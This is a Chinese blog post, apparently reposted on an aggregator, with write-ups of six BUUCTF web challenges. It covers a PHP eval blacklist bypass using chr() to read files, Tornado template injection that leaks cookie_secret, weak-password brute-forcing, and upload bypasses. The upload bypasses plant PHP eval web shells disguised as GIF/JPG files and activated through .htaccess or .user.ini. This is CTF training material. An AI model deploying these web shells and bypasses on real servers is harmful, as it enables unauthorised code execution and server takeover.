【BUUCTF web】通关 2.0

🍬 博主介绍👨‍🎓 博主介绍：大家好，我是 hacker-routing ，很高兴认识大家~
✨主攻领域：【渗透领域】【应急响应】 【Java】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯（一键三连）😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限，欢迎各位大佬指点，相互学习进步！

目录

1、[RoarCTF 2019]Easy Calc

2、[极客大挑战 2019]BuyFlag

3、[HCTF 2018]admin

4、[护网杯 2018]easy_tornado

handler.settings

5、[GXYCTF2019]BabyUpload

.htaccess木马

6、[SUCTF 2019]CheckIn

.user.ini木马

1、[RoarCTF 2019]Easy Calc

flag{3d1e3a7c-463d-4cc0-b976-3e3fbe8b1894}

打开链接，发现是一个输入框，我们可以尝试sql注入，但是我尝试了很多，发现一输入字符串，就报错了，所以这里应该不是sql注入漏洞。

我们这里右击查看网页源代码，

源代码解释：

  • 通过 jQuery 选择器 $('#calc') 监听表单提交事件，并在提交时执行指定的函数。
  • 在提交事件中，通过 $.ajax() 发起一个 GET 请求到 calc.php，请求参数 num 的数值来自于输入框 #content 的值，并对其进行 URL 编码。
  • 如果请求成功，success 回调函数会将返回的数据插入到具有绿色背景色的提示框中，并显示在页面上。
  • 如果请求失败，error 回调函数会弹出一个警告框，提示"这啥?算不来!"。
  • 返回 false 会阻止表单的默认提交行为。

我们根据提示，访问calc.php/目录，发现是一段php代码审计

通过上面的分析，我们构造下面的payload：

calc.php? num=print_r(scandir('/')); //中间记得有个空格

请求参数 num 中的值 print_r(scandir('/')); 包含了括号和分号等符号，这些符号在黑名单中，因此会导致代码检测到黑名单字符而触发拒绝执行的逻辑，最终输出 “what are you want to do?” 错误信息。

那我们利用ASCII 值进行过滤，payload如下：

calc.php? num=print_r(scandir(chr(47)));

使用了 chr(47) 函数来生成 ASCII 值为 47 的字符，ASCII 值为 47 对应于斜杠 /。这样产生的结果和直接输入 / 是等价的。

输入后 可以浏览根目录下的文件，而其中的falgg就是我们要读取的文件

? num=print_r(file_get_contents('/flagg'));其中/flagg 用chr进行绕过? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));

2、[极客大挑战 2019]BuyFlag

flag{6a2a46b6-6901-4548-828a-cce53bffab0a}

打开链接访问，右上角点击，然后再点击PAYFLAG按钮

没猜错的话，这个就是一个购买flag的功能点位置

右击查看网页源代码，发现一个注释的php代码审计

通过上面的php代码审计，我们可以利用password进行post传参，然后对is_numeric()进行过滤，我们可以用 404abc进行过滤

但是我无论怎么输入，他都报这个错误，并且没有回显别的内容说 只有Cuit的学生才能购买Flag，我们猜测，用户和cookie是相关联的，那么我们对用户的cookie进行查看

一看，发现cookie值是0，那么我改成1，再进行下一步

password=404abc

他让我支付flag，我们利用money参数进行支付

password=404abc&money=100000000

报错说我们的money估计金额被限制了，用数组绕一下

password=404abc&money[]=1

我们成功买到了flag，flag{6a2a46b6-6901-4548-828a-cce53bffab0a}

3、[HCTF 2018]admin

flag{648fbcf7-1bf7-465d-a7eb-33ffe0a5b31f}

打开题目，我们直接点击登录login页面，题目提示admin，说明这个题目要拿到admin用户，才可以查看到flag。

我们这里利用burp工具抓包尝试下密码破解，直接设置123为爆破对象

load选择字典，一般可以去网上找弱口令的爆破字典，GitHub上面还是蛮多的。

发现爆破成功了，密码就是123，属于弱口令

成功拿到flag{648fbcf7-1bf7-465d-a7eb-33ffe0a5b31f}

4、[护网杯 2018]easy_tornado

flag{4f63ee96-1064-4a5e-8d16-d92314041e1a}

一打开环境，发现存在三个.txt文件

/flag.txt中，告诉我们flag在 /fllllllllllllag里面

/welcome.txt文件里面，没有什么直接价值的信息

在hints.txt文件中发现md5计算，md5(cookie_secret+md5(filename))

在hints.txt文件中发现md5计算，md5(cookie_secret+md5(filename))

并且三个文件中都存在filehash（文件名被哈希算法加密32位小写）

所以，filehash就是md5(cookie_secret+md5(filename))

然后，filename就是/fllllllllllllag

现在只缺cookie_secret这个东西，只要有了cookie_secret，再通过这个md5(cookie_secret+md5(filename))公式进行计算即可获取到flag

查看题目的名字，tornado是python的一个模板，可以看出这道题是模板注入类的题目

通过修改filehash，发现报error的错

模板注入必须通过传输型如{{xxx}}的执行命令

/error?msg={{3*3}}

发现总是报ORZ，说明这个就是tornado模板注入

handler.settings

在 Tornado 中，handler.settings 是一个字典，用于存储和访问应用程序的设置信息。这个字典通常在 Tornado 的 RequestHandler 中使用，用于配置和传递应用程序的各种参数。

通过handler.settings，可以在处理请求的过程中访问和使用应用程序的配置信息，例如数据库连接信息、API 密钥、模板路径等。这样做的好处是可以将应用程序的配置信息集中管理，便于维护和修改。

开发者可以在创建 Tornado 的 Application 对象时通过传递 settings 参数来设置这些配置信息，然后在 RequestHandler 中通过 handler.settings 来获取并使用这些信息。例如：

# 创建 Tornado 应用程序时传入配置信息
app = tornado.web.Application(handlers=[(r'/', MainHandler)], settings={"debug": True,"database": {"host": "localhost","port": 3306,"user": "root","password": "password"}
})# 在 RequestHandler 中访问配置信息
class MainHandler(tornado.web.RequestHandler):def get(self):debug_mode = self.settings.get("debug")db_host = self.settings.get("database").get("host")self.write(f"Debug Mode: {debug_mode}, Database Host: {db_host}")

通过handler.settings，可以方便地在 Tornado 应用程序中管理和使用各种配置参数，提高代码的可维护性和灵活性。

爆cookie_secret

error?msg={{handler.settings}}

得到cookie_secret：447c8b25-6c6b-4229-8569-d6284192087e

按照公式进行加密

公式md5(cookie_secret+md5(filename))=b0b99193d1ce9c809265a3b6c4950133

最终payload：

file?filename=/fllllllllllllag&filehash=b0b99193d1ce9c809265a3b6c4950133

成功拿到flag{4f63ee96-1064-4a5e-8d16-d92314041e1a}

5、[GXYCTF2019]BabyUpload

这是一道文件上传的题目，我们先来尝试上传一个php后缀的木马上去，看看报错内容：后缀名不能有ph！

发现后缀是不可以有ph了，所以说什么双写绕过，phtml，大小写绕过都没有用，只能改后缀了，所以就想到只能用.htaccess文件进行文件上传了。

.htaccess木马文件内容(xiaoma.jpg为到时候后面进行木马上传jpg木马的文件名，因为这个.htaccess木马就是把xiaoma.jpg里面的内容当初php代码来执行)

<FilesMatch "xiaoma.jpg">SetHandler application/x-httpd-php  
</FilesMatch>
.htaccess木马

第一步：

右击发送两个包到repeater里面，我们后面要进行绕过。

第二步：

发现我们上传的.htaccess木马被暴露了，经过尝试，发现是Content-Type: 的原因，我们直接把Content-Type: 里面的内容改成jpg的 /image/jpeg，并且加上图片头：GIF89a

发现文件上传成功了

第三步：

我们写正常的一句话木马，竟然直接被它给识别出来了，应该是里面有<?php过滤了，那么我们换个木马进行绕过。

xiaoma.jpg木马：我们要把第二次发包的那个包里面的.htaccess名字改成xiaoma.jpg

GIF89a
<script language="php">
@eval($_POST['cmd']);phpinfo();
</script>

发现上传成功了，我们直接连接蚁剑，查看flag

第四步：

连接蚁剑，查看flag

6、[SUCTF 2019]CheckIn

flag{8efd51f4-988b-48b9-b1d2-c5888c2771b0}

题目是个文件上传，我们先上传一个xiaoma.jpg上去探测题目过滤内容

GIF89a
<?php
@eval($_POST['cmd']);
?>

报的这个错，说明对<?php进行了过滤，我们需要对一句话木马进行修改

GIF89a
<script language="php">
@eval($_POST['cmd']);phpinfo();
</script>

我们把木马后缀进行了修改，发现题目对ph进行了过滤，我开始尝试了利用.htaccess木马文件进行绕过，发现.htaccess确实是可以绕过，但是发现那个木马文件不能呗执行成php木马执行，让getshell。

这里我们利用.user.ini文件进行绕过。

.user.ini木马

php.ini是php的一个全局配置文件，对整个web服务起作用；而.user.ini和.htaccess一样是目录的配置文件，.user.ini就是用户自定义的一个php.ini，我们可以利用这个文件来构造后门和隐藏后门。

GIF89a
auto_prepend_file=xiaoma.jpg

第一步：

先上传.user.ini木马，然后再重发两个包到Repeater里面，然后再改Content-Type: image/jpeg

发现上传成功了。

第二步：

把刚才重发的第二个包修改，然后上传。

第三步：

访问xiaoma.jpg那个上传成功包的目录位置，发现木马被成功执行了。

第四步：

连接蚁剑，然后getshell查看flag

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/news/715138.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

MAC-键盘command快捷键、设置windows快捷键

MAC-键盘command快捷键、设置windows快捷键

在 Windows PC 专用键盘上&#xff0c;请用 Alt 键代替 Option 键&#xff0c;用 Ctrl 键或 Windows 标志键代替 Command 键。 Mac 键盘快捷键 - 官方 Apple 支持 (中国) 设置windows快捷键 使用mac外接适用于windows的键盘时&#xff0c;如何设置快捷键&#xff1f;_mac外…
阅读更多...
2024年2月国内如何快速注册OnlyFans最新小白教学

2024年2月国内如何快速注册OnlyFans最新小白教学

前言 onlyface软件是一个创立于2016年的订阅式社交媒体平台&#xff0c;创作者可以在自己的账号发布原创的照片或视频&#xff0c;并将其设置成付费模式&#xff0c;若用户想查看则需要每月交费订阅。 需要注意的是&#xff0c;网络上可能存在非法或不道德的应用程序&#xff…
阅读更多...
Java：性能优化细节31-45

Java：性能优化细节31-45

Java&#xff1a;性能优化细节31-45 31、合理使用java.util.Vector 在使用java.util.Vector时&#xff0c;需要注意其性能特性和最佳实践&#xff0c;以确保应用程序运行高效。Vector是一个同步的集合类&#xff0c;提供了动态数组的实现。由于它是线程安全的&#xff0c;所以…
阅读更多...
获取当前数据 上下移动

获取当前数据 上下移动

点击按钮 上下移动 当前数据 代码 // 出国境管理 登记备案人员列表 <template><a-row><a-col span"24"><a-card :class"style[a-table-wrapper]"><!-- 出国境 登记备案人员列表 --><a-table:rowKey"records >…
阅读更多...
淘宝开放平台获取商家订单数据API接口接入流程

淘宝开放平台获取商家订单数据API接口接入流程

taobao.custom 自定义API操作 接口概述&#xff1a;通过此API可以调用淘宝开放平台的API&#xff0c;通过技术对接&#xff0c;您可以轻松实现无账号调用官方接口。进入测试&#xff01; 公共参数 名称类型必须描述keyString是调用key&#xff08;必须以GET方式拼接在URL中&…
阅读更多...
通过修改host文件来访问GitHub

通过修改host文件来访问GitHub

前言&#xff1a; 由于国内环境的原因&#xff0c;导致我们无法流畅的访问GitHub&#xff0c;。 但是我们可以采取修改host文件来实现流畅访问。 缺点&#xff1a;需要不定时的刷新修改。 操作流程 一、查询IP地址 以下地址可以查询ip地址 http://ip.tool.chinaz.com/ htt…
阅读更多...
pugixml使用

pugixml使用

pugixml 使用pugixml库需要三个文件:pugiconfig.hpp pugixml.cpp pugixml.hpp pugixml.hpp代码添加在最后。 全是代码 写入文件-使用实例&#xff1a; #include "../pugixml/pugixml.hpp"//2024.2.29 add 写入参数值到文件中 void MainFrame::SaveBrg(CString Path) …
阅读更多...
C++从零开始的打怪升级之路(day40)

C++从零开始的打怪升级之路(day40)

这是关于一个普通双非本科大一学生的C的学习记录贴 在此前&#xff0c;我学了一点点C语言还有简单的数据结构&#xff0c;如果有小伙伴想和我一起学习的&#xff0c;可以私信我交流分享学习资料 那么开启正题 今天分享的是关于继承的知识点 1.继承的概念及定义 1.1继承的概…
阅读更多...
JDK时间

JDK时间

Date 全世界的时间&#xff0c;有一个统一的计算标准。 世界标准时间&#xff1a;格林尼治时间/格林威治时间简称GMT&#xff0c;目前时间标准时间已经替换为&#xff1a;原子钟。 中国标准时间&#xff1a;世界时间8 时间换算单位&#xff1a; 一秒等于一千毫秒 一毫秒等于一…
阅读更多...
CDC作业历史记录无法删除问题

CDC作业历史记录无法删除问题

背景 数据库开启CDC功能后&#xff0c;每天会生成大量的历史记录&#xff0c;即使达到参数“每个作业的最大历史记录“的阈值后也不会被删除&#xff0c;导致其它作业的历史记录被删除&#xff0c;无法查看以前的执行情况&#xff0c;非常不方便。 现象 数据库开启CDC后会创建…
阅读更多...
【MATLAB源码-第147期】基于matlab的QPSK调制解调在AWGN信道，瑞利信道，莱斯信道理论与实际误码率对比仿真。

【MATLAB源码-第147期】基于matlab的QPSK调制解调在AWGN信道，瑞利信道，莱斯信道理论与实际误码率对比仿真。

操作环境&#xff1a; MATLAB 2022a 1、算法描述 四相位移键控&#xff08;QPSK&#xff0c;Quadrature Phase Shift Keying&#xff09;是一种重要的数字调制技术&#xff0c;它通过改变信号的相位来传输数据。与其他调制技术相比&#xff0c;QPSK在相同的带宽条件下能够传…
阅读更多...
Linux命名管道

Linux命名管道

Linux匿名管道-CSDN博客 目录 1.原理 2.接口实现 3.模拟日志 Linux匿名管道-CSDN博客 这上面叫的是匿名管道&#xff0c;不要将两者搞混&#xff0c;匿名管道说的是两个有血缘关系的进程相互通信&#xff0c;但是命名管道就是两个没有关系的管道相互通信。 1.原理 和匿名…
阅读更多...
高斯扩散过程

高斯扩散过程

高斯扩散过程是一种数学模型&#xff0c;用于描述某些随机现象的时间演化&#xff0c;其中这些现象的概率密度函数&#xff08;PDF&#xff09;符合高斯分布&#xff0c;也称为正态分布。在物理和工程学领域&#xff0c;此类过程通常被用来描述热扩散、粒子扩散、概率密度演变等…
阅读更多...
springboot/ssm公司资产网站Java企业资产统计管理系统web

springboot/ssm公司资产网站Java企业资产统计管理系统web

springboot/ssm公司资产网站Java企业资产统计管理系统web 基于springboot(可改ssm)vue项目 开发语言&#xff1a;Java 框架&#xff1a;springboot/可改ssm vue JDK版本&#xff1a;JDK1.8&#xff08;或11&#xff09; 服务器&#xff1a;tomcat 数据库&#xff1a;mysq…
阅读更多...
蓝桥杯刷题--python-16

蓝桥杯刷题--python-16

562. 壁画 - AcWing题库 T=int(input()) j=1 while(j<=T): N = int(input()) a=input() s = [0]*(N+1) # 求前戳和 for i in range(1, N + 1): s[i] = int(a[i-1]) + s[i - 1] # 枚举 # 区间 max_ = float(-inf) k = (N + 2 - …
阅读更多...
编译链接实战（25）ThreadSanitizer检测线程安全

编译链接实战（25）ThreadSanitizer检测线程安全

ThreadSanitizer&#xff08;又称为TSan&#xff09;是一个用于C/C的数据竞争检测器。在并发系统中&#xff0c;数据竞争是最常见且最难调试的错误类型之一。当两个线程并发访问同一个变量&#xff0c;并且至少有一个访问是写操作时&#xff0c;就会发生数据竞争。C11标准正式将…
阅读更多...
【电路笔记】--RC网络-RC微分器

【电路笔记】--RC网络-RC微分器

RC微分器 文章目录 RC微分器1、概述2、RC微分器电路3、单脉冲 RC 微分器4、RC 微分器示例5、总结无源 RC 微分器是一个串联 RC 网络，可产生与微分数学过程相对应的输出信号。 1、概述 无源 RC 微分器只不过是与电阻串联的电容，这是一种与频率相关的器件，其电抗与固定电阻串…
阅读更多...
前端实现浏览器打印

前端实现浏览器打印

浏览器的print方法直接调用会打印当前页面的所有元素&#xff0c;使用iframe可以实现局部打印所需要的模块。 组件printView&#xff0c;将传入的信息放入iframe中&#xff0c;调用浏览器的打印功能 <template><div class"print"><iframeid"if…
阅读更多...
马斯克指控OpenAI违背成立协议，要求恢复开源；Automattic否认向AI公司出售用户数据

马斯克指控OpenAI违背成立协议，要求恢复开源；Automattic否认向AI公司出售用户数据

&#x1f989; AI新闻 &#x1f680; 马斯克指控OpenAI违背成立协议&#xff0c;要求恢复开源 摘要&#xff1a;马斯克近日在旧金山高等法院对OpenAI及其CEO阿尔特曼提起诉讼&#xff0c;指控他们违反最初促进AI技术造福人类非营利方向的成立协议。马斯克声称&#xff0c;Ope…
阅读更多...
Linux命令-clear命令（清除当前屏幕终端上的任何信息）

Linux命令-clear命令（清除当前屏幕终端上的任何信息）

说明 clear命令 用于清除当前屏幕终端上的任何信息。 语法 clear示例 直接输入clear命令当前终端上的任何信息就可被清除。
阅读更多...
最新文章

Copyright @ 2022~2023